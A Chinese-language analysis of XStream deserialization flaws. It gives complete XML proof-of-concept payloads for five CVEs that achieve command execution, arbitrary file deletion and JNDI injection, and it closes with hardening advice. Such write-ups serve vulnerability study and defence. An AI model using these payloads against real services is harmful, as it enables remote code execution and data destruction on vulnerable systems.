XSteam历史漏洞分析
字数 2213 2025-08-27 12:33:31
XStream历史漏洞分析与利用指南
一、XStream简介
XStream是一个简单的基于Java库,能够将Java对象序列化到XML,也能将XML反序列化为Java对象。核心功能包括:
- 实现Java对象与XML文档的相互转换
- 支持自定义转换器(Converter)处理不同类型数据
- 默认使用反射机制为对象属性赋值
序列化示例
public class People {
private String name;
private int age;
private Company workCompany;
// 构造方法和getter/setter省略
}
public class Company {
private String companyName;
private String companyLocation;
// 构造方法和getter/setter省略
}
XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
序列化差异
是否实现Serializable接口会影响生成的XML结构:
- 实现Serializable接口:
<XStream.People serialization="custom">
<default>
<age>25</age>
<name>xiaoming</name>
<workCompany serialization="custom">
<XStream.Company>
<default>
<companyLocation>BeiJing</companyLocation>
<companyName>TopSec</companyName>
</default>
</XStream.Company>
</workCompany>
</default>
</XStream.People>
- 未实现Serializable接口:
<XStream.People>
<name>xiaoming</name>
<age>25</age>
<workCompany>
<companyName>TopSec</companyName>
<companyLocation>BeiJing</companyLocation>
</workCompany>
</XStream.People>
关键区别:实现Serializable接口时会使用SerializableConverter,能触发readObject方法。
二、XStream反序列化流程分析
反序列化核心流程:
- TreeUnmarshaller.start() - 开始解析XML
- HierarchicalStreams.readClassType() - 通过标签名获取对应的Class对象
- TreeUnmarshaller.convertAnother() - 将Class转换为Java对象
- 通过mapper.defaultImplementationOf查找Class实现类
- 通过ConverterLookup.lookupConverterForType获取对应转换器
- Converter.unmarshal() - 根据获取的对象继续解析子节点
- 递归处理直到完成所有节点解析
关键转换器:
ReflectionConverter:通过反射为属性赋值SerializableConverter:处理实现了Serializable接口的类,会调用readObject方法
三、历史漏洞分析
1. CVE-2013-7285 (XStream <=1.4.6或1.4.10)
漏洞类型:远程代码执行
利用条件:使用动态代理和EventHandler
POC:
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
利用链分析:
- 解析
sorted-set标签,使用TreeSetConverter - 处理
dynamic-proxy时使用DynamicProxyConverter - 创建EventHandler代理
- 在TreeMap.put()时触发EventHandler.invoke()
- 最终调用ProcessBuilder.start()
替代POC(使用tree-map标签):
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
2. CVE-2020-26217 (XStream <=1.4.13)
漏洞类型:远程代码执行
利用链:基于NativeString和Base64Data的复杂链
POC:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
利用链分析:
- 解析map标签,使用MapConverter
- 处理NativeString时调用hashCode()
- hashCode()调用getStringValue()
- 触发Base64Data.toString()
- 通过DataSource.getInputStream()触发复杂调用链
- 最终通过反射调用ProcessBuilder.start()
3. CVE-2020-26259 (XStream <=1.4.13)
漏洞类型:任意文件删除
利用链:修改CVE-2020-26217的POC
POC:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/test.txt</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
利用原理:
通过FileStream的close()方法删除指定文件:
public void close() throws IOException {
if (tempFile != null && !tempFile.delete()) {
throw new IOException("File " + tempFile + " could not be deleted");
}
}
4. CVE-2021-21344 (XStream <=1.4.15)
漏洞类型:远程代码执行(JNDI注入)
利用链:PriorityQueue + JdbcRowSetImpl
POC:
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference=marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</outer-class>
</marshallerPool>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:1099/test</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<!-- 省略其他int -->
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<!-- 省略其他null -->
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
利用链分析:
- 触发PriorityQueue的readObject()
- 通过IndexOrderComparator.compare()
- 最终触发JdbcRowSetImpl.getDatabaseMetaData()
- 调用connect()导致JNDI注入
5. CVE-2021-21345 (XStream <=1.4.15)
漏洞类型:远程代码执行
利用链:PriorityQueue + ServerTableEntry
POC:
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference=marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</outer-class>
</marshallerPool>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
利用原理:
通过Accessor$GetterSetterReflection调用任意方法,最终执行:
// ServerTableEntry.verify()
Runtime.getRuntime().exec(activationCmd);
变种POC(直接调用ProcessBuilder.start):
<!-- 只需修改jaxbType和getter部分 -->
<jaxbType>java.lang.ProcessBuilder</jaxbType>
<getter>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</getter>
四、漏洞利用总结
漏洞利用关键点
-
转换器选择:
- 使用特定标签触发特定转换器(如sorted-set触发TreeSetConverter)
- 实现Serializable接口可触发SerializableConverter和readObject
-
利用链构造:
- 动态代理+EventHandler(CVE-2013-7285)
- 复杂对象属性控制(NativeString+Base64Data)
- 反序列化标准链(PriorityQueue+JdbcRowSetImpl)
-
执行方式:
- 直接命令执行(ProcessBuilder/Runtime.exec)
- JNDI注入
- 文件操作(删除/读取)
防御建议
- 升级到最新安全版本
- 使用XStream的安全配置:
XStream xstream = new XStream(); // 禁止特定类型 xstream.denyTypes(new Class[]{EventHandler.class, ImageIO.ContainsFilter.class, ProcessBuilder.class}); // 或使用白名单 xstream.allowTypesByWildcard(new String[]{"com.your.package.**"}); - 避免反序列化不可信数据